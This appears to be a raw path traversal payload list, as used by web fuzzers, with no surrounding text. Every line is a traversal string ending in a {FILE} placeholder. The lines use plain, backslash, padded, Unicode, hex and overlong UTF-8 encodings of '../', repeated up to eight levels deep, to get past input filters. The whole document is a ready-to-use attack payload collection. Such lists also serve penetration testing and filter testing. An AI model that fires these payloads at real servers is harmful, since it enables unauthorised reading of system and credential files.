AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}<br /> .../{FILE}<br /> .../.../{FILE}<br /> .../.../.../{FILE}<br /> .../.../.../.../{FILE}<br /> .../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../{FILE}<br /> .../.../.../.../.../.../.../.../{FILE}<br /> ...\{FILE}<br /> ...\...\{FILE}<br /> ...\...\...\{FILE}<br /> ...\...\...\...\{FILE}<br /> ...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\{FILE}<br /> ...\...\...\...\...\...\...\...\{FILE}<br /> ..../{FILE}<br /> ..../..../{FILE}<br /> ..../..../..../{FILE}<br /> ..../..../..../..../{FILE}<br /> ..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../{FILE}<br /> ..../..../..../..../..../..../..../..../{FILE}<br /> ....\{FILE}<br /> ....\....\{FILE}<br /> ....\....\....\{FILE}<br /> ....\....\....\....\{FILE}<br /> ....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\{FILE}<br /> ....\....\....\....\....\....\....\....\{FILE}<br /> ........................................................................../{FILE}<br /> ........................................................................../../{FILE}<br /> ........................................................................../../../{FILE}<br /> ........................................................................../../../../{FILE}<br /> ........................................................................../../../../../{FILE}<br /> ........................................................................../../../../../../{FILE}<br /> ........................................................................../../../../../../../{FILE}<br /> ........................................................................../../../../../../../../{FILE}<br /> ..........................................................................\{FILE}<br /> ..........................................................................\..\{FILE}<br /> ..........................................................................\..\..\{FILE}<br /> ..........................................................................\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\{FILE}<br /> ..........................................................................\..\..\..\..\..\..\..\{FILE}<br /> ..%u2215{FILE}<br /> ..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> ..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215{FILE}<br /> %uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/{FILE}<br /> %uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> %uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}<br /> ..%u2216{FILE}<br /> ..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}<br /> ..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}<br /> ..%uF025{FILE}<br /> ..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> ..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}<br /> %uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\{FILE}<br /> %uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> %uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}<br /> ..0x2f{FILE}<br /> ..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> 